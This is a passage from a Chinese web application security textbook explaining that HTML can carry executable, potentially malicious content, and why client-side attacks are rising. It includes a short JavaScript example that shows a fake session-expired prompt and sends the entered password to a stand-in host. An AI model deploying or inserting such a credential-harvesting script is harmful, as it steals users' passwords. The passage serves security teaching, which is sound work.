1.1.6 Web客户端与HTML

根据我们对Web应用的定义,Web应用客户端是能够理解HTTP的程序,规范化的Web应用客户端是Web浏览器,它的语言是HTTP(以及其他协议)并用超文本标记语言(HTML)以及其他标记语言表现。

和HTTP类似,Web浏览器看上去似乎很简单。由于HTML等语言的扩展性,看似静态的Web内容中可以嵌入大量的功能。例如,下面这个例子中HTML嵌入了可执行的JavaScript:


<html>
<SCRIPT Language="Javascript">var password=prompt
('Your session has expired. Please enter your password to continue.','');
location.href="https://10.1.1.1/pass.cgi?passwd="+password;</SCRIPT>
</html>

将这段文本复制到一个名为test.html的文件中,并在浏览器中打开它,看看这段代码能做什么(注意,较新版本的浏览器将首先提示用户启用脚本)。许多其他的危险内容可以嵌入到HTML中;除脚本以外,ActiveX程序、远程映像“Web bugs”以及层叠样式单(CSS)文件都可以用来在客户端进行恶意的活动,使用的仅仅是我们刚才示范的简单ASCII文本。

当然,正如许多攻击者了解到的,让最终用户点击URI就能够使攻击者完全控制受害者的机器。这再次显示了URI的威力,这是从Web客户端的角度。不要忘记那些看似无辜的小字符串指向可执行代码!

最后,正如我们将在1.1.7节中描述的那样,新颖的和强大的“Web 2.0”技术(如AJAX和RSS)仅仅增加了Web客户端需要解析的输入的复杂性。Web技术的这一革新在可见的未来将继续扩大攻击面,像HTML5、WebGL和NaCL这样的更新明显指出了这一点(关于这些技术的更多信息可以在本章末尾的“参考与延伸阅读”中看到)。

可以这么说,近来Web应用安全的问题在客户端比服务器端更多。因为服务器管理员已经变得更加了解Web应用攻击并且加固了其安全态势,攻击社区重新将注意力转向客户端也就不足为奇了,因为对攻击了解较少的最终用户更易于对付。不断增加的客户端技术包括富互联网应用(Rich Internet Application,RIA)、用户生成内容(User-Generated Contents,UGC)、AJAX和移动设备“应用商城”,你会发现另一场风暴正在兴起,最终用户实际上被无数脆弱的软件所包围,使他们无从防备。我们将在第9章中谈论更多这方面的内容。